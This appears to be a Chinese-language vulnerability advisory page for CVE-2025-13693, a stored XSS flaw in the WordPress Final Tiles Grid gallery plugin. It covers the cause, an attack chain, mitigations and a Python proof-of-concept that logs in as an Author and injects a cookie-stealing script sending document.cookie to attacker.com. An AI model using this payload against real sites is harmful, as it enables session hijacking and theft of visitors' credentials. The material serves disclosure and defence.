IPBUF安全漏洞报告
English
CVE-2025-13693 CVSS 6.4 中危

CVE-2025-13693 WordPress Final Tiles Grid插件存储型XSS漏洞

披露日期: 2025-12-21

漏洞信息

漏洞编号
CVE-2025-13693
漏洞类型
存储型跨站脚本攻击(Stored XSS)
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Image Photo Gallery Final Tiles Grid plugin for WordPress

相关标签

CVE-2025-13693Stored XSS跨站脚本攻击WordPress插件漏洞Final Tiles GridImage Photo Gallery认证用户漏洞WordPress安全CVE-2025内容管理平台漏洞

漏洞概述

CVE-2025-13693是WordPress平台下Image Photo Gallery Final Tiles Grid插件的一个高危安全漏洞。该插件是一款流行的图片画廊展示插件,用于在WordPress网站中创建美观的瀑布流图片布局。漏洞根源在于插件的'Custom scripts'(自定义脚本)设置功能中,对用户输入缺乏有效的输入验证和输出转义处理。攻击者只需拥有WordPress网站的Author(作者)级别权限即可利用此漏洞,在画廊页面的自定义脚本字段中注入恶意JavaScript代码。由于是存储型XSS漏洞,恶意脚本会被永久保存在数据库中,当其他用户访问包含该画廊的页面时,攻击代码将自动执行,可能导致会话劫持、敏感信息窃取、钓鱼攻击等严重后果。此漏洞影响该插件3.6.8及以下所有版本,CVSS评分6.4,属于中等严重程度,但由于攻击利用门槛较低且影响范围广泛,建议尽快修复。

技术细节

该漏洞属于典型的存储型跨站脚本(Stored XSS)漏洞,存在于插件的lib/gallery-class.php文件第126行附近的Custom scripts处理逻辑中。漏洞成因是插件在处理'Custom scripts'设置项时,直接将用户输入的内容存储到数据库,并在后续页面渲染时未进行充分的HTML实体转义就输出到网页。具体技术细节如下:

1. 漏洞位置:plugins.trac.wordpress.org/browser/final-tiles-grid-gallery-lite/tags/3.6.6/lib/gallery-class.php#L126
2. 根本原因:输入数据未经过滤直接存入数据库,输出时缺少htmlspecialchars()或类似函数的转义处理
3. 利用条件:攻击者需持有WordPress Author角色或更高权限
4. 影响范围:所有访问包含恶意画廊的页面用户都会触发XSS代码
5. 攻击效果:可窃取用户Cookie、伪造用户操作、植入恶意重定向等

修复方案需在数据存储前进行输入验证,在数据输出时进行输出编码,确保用户输入不被浏览器解析为可执行脚本。

攻击链分析

STEP 1
1
攻击者获取WordPress网站Author级别或更高权限的账户
STEP 2
2
攻击者登录WordPress后台,导航至Final Tiles Grid插件的画廊设置页面
STEP 3
3
攻击者在'Custom scripts'设置字段中注入恶意JavaScript代码,如<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>
STEP 4
4
插件将恶意脚本未经转义直接存储到数据库中
STEP 5
5
当其他用户访问包含该画廊的页面时,恶意脚本随页面HTML一同被浏览器加载执行
STEP 6
6
攻击者通过恶意脚本窃取用户Cookie、会话令牌或其他敏感信息

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests from bs4 import BeautifulSoup # CVE-2025-13693 PoC - WordPress Final Tiles Grid Plugin Stored XSS # Target: WordPress site with Final Tiles Grid plugin <= 3.6.8 TARGET_URL = "http://target-wordpress-site.com" USERNAME = "author_user" PASSWORD = "author_password" def login_wordpress(): """Login to WordPress and get authentication cookies""" session = requests.Session() login_url = f"{TARGET_URL}/wp-login.php" login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'redirect_to': f"{TARGET_URL}/wp-admin/", 'testcookie': '1' } response = session.post(login_url, data=login_data) return session if 'wordpress_logged_in' in str(session.cookies) else None def exploit_stored_xss(session): """Inject malicious JavaScript via Custom scripts setting""" # XSS payload - steals cookies xss_payload = "<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>" # Find Final Tiles Grid gallery ID galleries_url = f"{TARGET_URL}/wp-admin/admin.php?page=final-tiles-gallery" response = session.get(galleries_url) # Extract gallery ID from page (simplified) gallery_id = 1 # Replace with actual gallery ID # Update gallery with XSS payload in Custom scripts update_url = f"{TARGET_URL}/wp-admin/admin.php?page=final-tiles-gallery&action=edit&id={gallery_id}" # Prepare the malicious request post_data = { 'custom_scripts': xss_payload, 'save': 'Save Changes' } # Send the payload response = session.post(update_url, data=post_data) return True if __name__ == "__main__": session = login_wordpress() if session: exploit_stored_xss(session) print("[+] XSS payload injected successfully") print("[+] Visit gallery page to trigger the payload") else: print("[-] Authentication failed")

影响范围

Final Tiles Grid Gallery Lite < 3.6.9
Final Tiles Grid Gallery (Premium) < 3.6.9
Image Photo Gallery Final Tiles Grid plugin <= 3.6.8

防御指南

临时缓解措施
如果无法立即升级插件,可采取以下临时缓解措施:1) 限制Author角色的权限,不允许其编辑画廊设置;2) 在functions.php中添加过滤器,对custom_scripts字段进行手动转义处理;3) 使用WordPress安全插件如Wordfence进行实时防护;4) 临时禁用Custom scripts功能,直到完成插件升级。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表